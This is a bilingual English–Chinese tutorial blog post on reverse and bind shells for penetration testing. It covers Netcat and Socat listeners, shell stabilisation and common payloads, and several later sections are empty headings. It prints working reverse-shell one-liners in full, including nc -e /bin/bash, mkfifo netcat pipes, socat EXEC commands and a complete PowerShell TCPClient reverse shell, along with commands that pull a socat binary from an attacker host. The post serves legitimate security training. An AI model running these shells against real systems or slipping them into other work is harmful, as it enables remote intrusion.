权限提升之Shell详解 | Privilege Escalation - What is Shell (待续)

What is Shell?

1. What is Shell?

Shells are what we use when interfacing with a Command Line environment (CLI). In other words, the common bash or sh programs in Linux are examples of shells, as are cmd.exe and Powershell on Windows. When targeting remote systems it is sometimes possible to force an application running on the server (such as a webserver, for example) to execute arbitrary code. When this happens, we want to use this initial access to obtain a shell running on the target.
Shell 是我们在与命令行环境 (CLI)交互时使用的。Linux 中常见的 bashsh 程序都是shell ,Windows上的 cmd.exePowershell 也是如此。当以远程系统为目标时,有时可以强制在服务器(例如网络服务器)上运行的应用程序执行任意代码。发生这种情况时,我们想使用这个初始访问权限来获得在目标上运行的 shell。

In simple terms, we can force the remote server to either send us command line access to the server (a reverse shell), or to open up a port on the server which we can connect to in order to execute further commands (a bind shell).
简单来说,我们可以强制远程服务器向我们发送对服务器的命令行访问权限(反弹shell),或者在服务器上打开一个我们可以连接的端口以执行进一步的命令(绑定shell )。

2. Tools

There are a variety of tools that we will be using to receive reverse shells and to send bind shells. In general terms, we need malicious shell code, as well as a way of interfacing with the resulting shell. We will discuss each of these briefly below:

2.1 Netcat

Netcat is the traditional “Swiss Army Knife” of networking. It is used to manually perform all kinds of network interactions, including things like banner grabbing during enumeration, but more importantly for our uses, it can be used to receive reverse shells and connect to remote ports attached to bind shells on a target system. Netcat shells are very unstable (easy to lose) by default, but can be improved by techniques that we will be covering in an upcoming task.

Netcat可用于接收反弹shell,并连接到附加到目标系统上绑定 shell 的远程端口。
Netcat不稳定易丢失,但可以改进

2.2 Socat

Socat is like netcat on steroids. It can do all of the same things, and many more. Socat shells are usually more stable than netcat shells out of the box. In this sense it is vastly superior to netcat; however, there are two big catches:
各方面优于Netcat,但是语法比较难,Linux一般没有默认安装Socat。

  1. The syntax is more difficult
  2. Netcat is installed on virtually every Linux distribution by default. Socat is very rarely installed by default.

注:Socat 和 Netcat 都有在 Windows 上使用的 .exe 版本。

2.3 Metasploit-multi/handler

The auxiliary/multi/handler module of the Metasploit framework is, like socat and netcat, used to receive reverse shells. Due to being part of the Metasploit framework, multi/handler provides a fully-fledged way to obtain stable shells, with a wide variety of further options to improve the caught shell. It’s also the only way to interact with a meterpreter shell, and is the easiest way to handle staged payloads. Msf下的一个模块

2.4 Msfvenom

Like multi/handler, msfvenom is technically part of the Metasploit Framework, however, it is shipped as a standalone tool. Msfvenom is used to generate payloads on the fly. Whilst msfvenom can generate payloads other than reverse and bind shells, these are what we will be focusing on in this blog. Msfvenom is an incredibly powerful tool, so we will go into its application in much more detail. Msfvenom 是Msf框架下的独立工具,可用于动态生成有效载荷,很强大。


Aside from the tools we’ve already covered, there are some repositories of shells in many different languages. One of the most prominent of these is Payloads all the Things. The PentestMonkey Reverse Shell Cheatsheet is also commonly used. In addition to these online resources, Kali Linux also comes pre-installed with a variety of webshells located at /usr/share/webshells. The SecLists repo, though primarily used for wordlists, also contains some very useful code for obtaining shells.

3. Types of Shell

At a high level, we are interested in two kinds of shell when it comes to exploiting a target:

3.1 Reverse shells

  • Reverse shells are when the target is forced to execute code that connects back to your computer. On your own computer you would use one of the tools mentioned in the previous task to set up a listener which would be used to receive the connection. Reverse shells are a good way to bypass firewall rules that may prevent you from connecting to arbitrary ports on the target; however, the drawback is that, when receiving a shell from a machine across the internet, you would need to configure your own network to accept the shell. 反弹shell是绕过防火墙规则的好方法

3.2 Bind shells

  • Bind shells are when the code executed on the target is used to start a listener attached to a shell directly on the target. This would then be opened up to the internet, meaning you can connect to the port that the code has opened and obtain remote code execution that way. This has the advantage of not requiring any configuration on your own network, but may be prevented by firewalls protecting the target. 不需要在自己的网络上进行任何配置,但可能会被防火墙拦截。

As a general rule, reverse shells are easier to execute and debug, however, we will cover both examples below. Don’t worry too much about the syntax here: we will be looking at it in upcoming tasks. Instead notice the difference between reverse and bind shells in the following simulations. 一般来说,反弹shell更容易执行和调试


Reverse Shell example:

Take a look at the following image. On the left we have a reverse shell listener – this is what receives the connection. On the right is a simulation of sending a reverse shell. In reality, this is more likely to be done through code injection on a remote website or something along those lines. Picture the image on the left as being your own computer, and the image on the right as being the target. 左侧是反弹shell的监听——用于接收连接的内容。右边是发送反弹shell的模拟。实际上,这更有可能通过远程网站上的代码注入或类似的方式来完成。左边是你自己的电脑,右边是目标。

On the attacking machine:
sudo nc -lvnp 443

On the target:
nc <LOCAL-IP> <PORT> -e /bin/bash

在这里插入图片描述Notice that after running the command on the right, the listener receives a connection. When the whoami command is run, we see that we are executing commands as the target user. The important thing here is that we are listening on our own attacking machine, and sending a connection from the target.

Bind Shell example:

Bind shells are less common, but still very useful.

Once again, take a look at the following image. Again, on the left we have the attacker’s computer, on the right we have a simulated target. Just to shake things up a little, we’ll use a Windows target this time. First, we start a listener on the target – this time we’re also telling it to execute cmd.exe. Then, with the listener up and running, we connect from our own machine to the newly opened port.

On the target:
nc -lvnp <port> -e "cmd.exe"

On the attacking machine:
nc MACHINE_IP <port>

在这里插入图片描述
As you can see, this once again gives us code execution on the remote machine. Note that this is not specific to Windows.The important thing to understand here is that we are listening on the target, then connecting to it with our own machine.


3.3 Interactivity vs. Non-interactive

The final concept which is relevant in this task is that of interactivity. Shells can be either interactive or non-interactive.
Shell可以是交互式的,也可以是非交互式的。

  • Interactive: If you’ve used Powershell, Bash, Zsh, sh, or any other standard CLI environment then you will be used to interactive shells. These allow you to interact with programs after executing them. For example, take the SSH login prompt: 在这里插入图片描述
    Here you can see that it’s asking interactively that the user type either yes or no in order to continue the connection. This is an interactive program, which requires an interactive shell in order to run.
  • Non-Interactive shells don’t give you that luxury. In a non-interactive shell you are limited to using programs which do not require user interaction in order to run properly. Unfortunately, the majority of simple reverse and bind shells are non-interactive, which can make further exploitation trickier. Let’s see what happens when we try to run SSH in a non-interactive shell:
    在这里插入图片描述
    Notice that the whoami command (which is non-interactive) executes perfectly, but the ssh command (which is interactive) gives us no output at all. As an interesting side note, the output of an interactive command does go somewhere, however, figuring out where is an exercise for you to attempt on your own. Suffice to say that interactive programs do not work in non-interactive shells. 交互式程序在非交互式shell 中不起作用

Additionally, in various places throughout this chapter you will see a command in the screenshots called listener. This command is an alias unique to the attacking machine used for demonstrations, and is a shorthand way of typing sudo rlwrap nc -lvnp 443, which will be covered in upcoming tasks. It will not work on any other machine unless the alias has been configured locally.

4. Netcat

As mentioned previously, Netcat is the most basic tool in a pentester’s toolkit when it comes to any kind of networking. With it we can do a wide variety of interesting things, but let’s focus for now on shells.

4.1 Reverse Shells

In the previous task we saw that reverse shells require shellcode and a listener. There are many ways to execute a shell, so we’ll start by looking at listeners.

The syntax for starting a netcat listener using Linux is this:

nc -lvnp <port-number>

  • -l is used to tell netcat that this will be a listener
  • -v is used to request a verbose output
  • -n tells netcat not to resolve host names or use DNS. Explaining this is outwith the scope of the room.
  • -p indicates that the port specification will follow.

The example in the previous task used port 443. Realistically you could use any port you like, as long as there isn’t already a service using it. Be aware that if you choose to use a port below 1024, you will need to use sudo when starting your listener. That said, it’s often a good idea to use a well-known port number (80, 443 or 53 being good choices) as this is more likely to get past outbound firewall rules on the target.

A working example of this would be:

sudo nc -lvnp 443

We can then connect back to this with any number of payloads, depending on the environment on the target.

4.2 Bind Shells

If we are looking to obtain a bind shell on a target then we can assume that there is already a listener waiting for us on a chosen port of the target: all we need to do is connect to it. The syntax for this is relatively straight forward:

nc <target-ip> <chosen-port>

Here we are using netcat to make an outbound connection to the target on our chosen port.

We will look at using netcat to create a listener for this type of shell in Chapter 8. What’s important here is that you understand how to connect to a listening port using netcat.

5. Netcat Shell Stabilisation

Ok, so we’ve caught or connected to a netcat shell, what next? 三种方法建立稳定的连接!

These shells are very unstable by default. Pressing Ctrl + C kills the whole thing. They are non-interactive, and often have strange formatting errors. This is due to netcat “shells” really being processes running inside a terminal, rather than being bonafide terminals in their own right. Fortunately, there are many ways to stabilise netcat shells on Linux systems. We’ll be looking at three here. Stabilisation of Windows reverse shells tends to be significantly harder; however, the second technique that we’ll be covering here is particularly useful for it.


Technique 1: Python

在这里插入图片描述

Technique 2: rlwrap

rlwrap is a program which, in simple terms, gives us access to history, tab autocompletion and the arrow keys immediately upon receiving a shell; however, some manual stabilisation must still be utilised if you want to be able to use Ctrl + C inside the shell. rlwrap is not installed by default on Kali, so first install it with

sudo apt install rlwrap.

To use rlwrap, we invoke a slightly different listener:

rlwrap nc -lvnp <port>

Prepending our netcat listener with “rlwrap” gives us a much more fully featured shell. This technique is particularly useful when dealing with Windows shells, which are otherwise notoriously difficult to stabilise. When dealing with a Linux target, it’s possible to completely stabilise, by using the same trick as in step three of the previous technique: background the shell with Ctrl + Z, then use stty raw -echo; fg to stabilise and re-enter the shell.

Technique 3: Socat

The third easy way to stabilise a shell is quite simply to use an initial netcat shell as a stepping stone into a more fully-featured socat shell. Bear in mind that this technique is limited to Linux targets, as a Socat shell on Windows will be no more stable than a netcat shell. To accomplish this method of stabilisation we would first transfer a socat static compiled binary (a version of the program compiled to have no dependencies) up to the target machine. A typical way to achieve this would be using a webserver on the attacking machine inside the directory containing your socat binary (sudo python3 -m http.server 80), then, on the target machine, using the netcat shell to download the file. On Linux this would be accomplished with curl or wget (wget <LOCAL-IP>/socat -O /tmp/socat).

For the sake of completeness: in a Windows CLI environment the same can be done with Powershell, using either Invoke-WebRequest or a webrequest system class, depending on the version of Powershell installed (Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe). We will cover the syntax for sending and receiving shells with Socat in the upcoming chapters.


With any of the above techniques, it’s useful to be able to change your terminal tty size. This is something that your terminal will do automatically when using a regular shell; however, it must be done manually in a reverse or bind shell if you want to use something like a text editor which overwrites everything on the screen.

First, open another terminal and run stty -a. This will give you a large stream of output. Note down the values for “rows” and columns:
在这里插入图片描述
Next, in your reverse/bind shell, type in:

stty rows <number>

and

stty cols <number>

Filling in the numbers you got from running the command in your own terminal.

This will change the registered width and height of the terminal, thus allowing programs such as text editors which rely on such information being accurate to correctly open.

6. Socat

Socat is similar to netcat in some ways, but fundamentally different in many others. The easiest way to think about socat is as a connector between two points. In the interests of this room, this will essentially be a listening port and the keyboard, however, it could also be a listening port and a file, or indeed, two listening ports. All socat does is provide a link between two points – much like the portal gun from the Portal games! Socat 所做的只是提供两点之间的链接——就像瑞克和莫蒂中的传送枪一样!

6.1 Reverse Shells

As mentioned previously, the syntax for socat gets a lot harder than that of netcat. Here’s the syntax for a basic reverse shell listener in socat:
Socat 的语法比 netcat 难很多

socat TCP-L:<port> -

As always with socat, this is taking two points (a listening port, and standard input) and connecting them together. The resulting shell is unstable, but this will work on either Linux or Windows and is equivalent to nc -lvnp <port>.

On Windows we would use this command to connect back:

socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes

The “pipes” option is used to force powershell (or cmd.exe) to use Unix style standard input and output.
pipes强制 powershell(或 cmd.exe)使用 Unix 风格的标准输入和输出。

This is the equivalent command for a Linux Target:

socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

6.2 Bind Shells

On a Linux target we would use the following command:

socat TCP-L:<PORT> EXEC:"bash -li"

On a Windows target we would use this command for our listener:

socat TCP-L:<PORT> EXEC:powershell.exe,pipe

We use the “pipes” argument to interface between the Unix and Windows ways of handling input and output in a CLI environment.

Regardless of the target, we use this command on our attacking machine to connect to the waiting listener.

socat TCP:<TARGET-IP>:<TARGET-PORT> -

6.3 Something Useful

Now let’s take a look at one of the more powerful uses for Socat: a fully stable Linux tty reverse shell. This will only work when the target is Linux, but is significantly more stable. As mentioned earlier, socat is an incredibly versatile tool; however, the following technique is perhaps one of its most useful applications. Here is the new listener syntax:
一个完全稳定的 Linux tty 反向 shell, 仅在Linux 中有效,但更稳定。
socat TCP-L:<port> FILE:`tty`,raw,echo=0

Let’s break this command down into its two parts. As usual, we’re connecting two points together. In this case those points are a listening port, and a file. Specifically, we are passing in the current TTY as a file and setting the echo to be zero. This is approximately equivalent to using the Ctrl + Z, stty raw -echo; fg trick with a netcat shell – with the added bonus of being immediately stable and hooking into a full tty.

The first listener can be connected to with any payload; however, this special listener must be activated with a very specific socat command. This means that the target must have socat installed. Most machines do not have socat installed by default, however, it’s possible to upload a precompiled socat binary, which can then be executed as normal.

The special command is as follows:

socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

This is a handful, so let’s break it down.

The first part is easy – we’re linking up with the listener running on our own machine. The second part of the command creates an interactive bash session with EXEC:"bash -li". We’re also passing the arguments: pty, stderr, sigint, setsid and sane:

  • pty, allocates a pseudoterminal on the target – part of the stabilisation process
  • stderr, makes sure that any error messages get shown in the shell (often a problem with non-interactive shells)
  • sigint, passes any Ctrl + C commands through into the sub-process, allowing us to kill commands inside the shell
  • setsid, creates the process in a new session
  • sane, stabilises the terminal, attempting to “normalise” it.

That’s a lot to take in, so let’s see it in action.

As normal, on the left we have a listener running on our local attacking machine, on the right we have a simulation of a compromised target, running with a non-interactive shell. Using the non-interactive netcat shell, we execute the special socat command, and receive a fully interactive bash shell on the socat listener to the left:

在这里插入图片描述Note that the socat shell is fully interactive, allowing us to use interactive commands such as SSH. This can then be further improved by setting the stty values as seen in the previous task, which will let us use text editors such as Vim or Nano.


If, at any point, a socat shell is not working correctly, it’s well worth increasing the verbosity by adding -d -d into the command. This is very useful for experimental purposes, but is not usually necessary for general use.

7. Socat Encrypted Shells 加密

8. Common Shell Payloads 常见Payload

A previous task mentioned that we’d be looking at some ways to use netcat as a listener for a bindshell, so we’ll start with that. In some versions of netcat (including the nc.exe Windows version included with Kali at /usr/share/windows-resources/binaries, and the version used in Kali itself: netcat-traditional) there is a -e option which allows you to execute a process on connection. For example, as a listener:

nc -lvnp <PORT> -e /bin/bash

Connecting to the above listener with netcat would result in a bind shell on the target.

Equally, for a reverse shell, connecting back with nc <LOCAL-IP> <PORT> -e /bin/bash would result in a reverse shell on the target.

However, this is not included in most versions of netcat as it is widely seen to be very insecure (funny that, huh?). On Windows where a static binary is nearly always required anyway, this technique will work perfectly. On Linux, however, we would instead use this code to create a listener for a bind shell:

mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

The following paragraph is the technical explanation for this command. It’s slightly above the level of this room, so don’t worry if it doesn’t make much sense for now – the command itself is what matters.

The command first creates a named pipe at /tmp/f. It then starts a netcat listener, and connects the input of the listener to the output of the named pipe. The output of the netcat listener (i.e. the commands we send) then gets piped directly into sh, sending the stderr output stream into stdout, and sending stdout itself into the input of the named pipe, thus completing the circle.

在这里插入图片描述A very similar command can be used to send a netcat reverse shell:

mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

This command is virtually identical to the previous one, other than using the netcat connect syntax, as opposed to the netcat listen syntax.

在这里插入图片描述When targeting a modern Windows Server, it is very common to require a Powershell reverse shell, so we’ll be covering the standard one-liner PSH reverse shell here.

This command is very convoluted, so for the sake of simplicity it will not be explained directly here. It is, however, an extremely useful one-liner to keep on hand:

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

In order to use this, we need to replace “” and “” with an appropriate IP and choice of port. It can then be copied into a cmd.exe shell (or another method of executing commands on a Windows server, such as a webshell) and executed, resulting in a reverse shell:
在这里插入图片描述
For other common reverse shell payloads, PayloadsAllTheThings is a repository containing a wide range of shell codes (usually in one-liner format for copying and pasting), in many different languages. It is well worth reading through the linked page to see what’s available.

9. msfvenom

10. Metasploit multi/handler

11. WebShell

12. Next Step

13. Practice & Examples

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值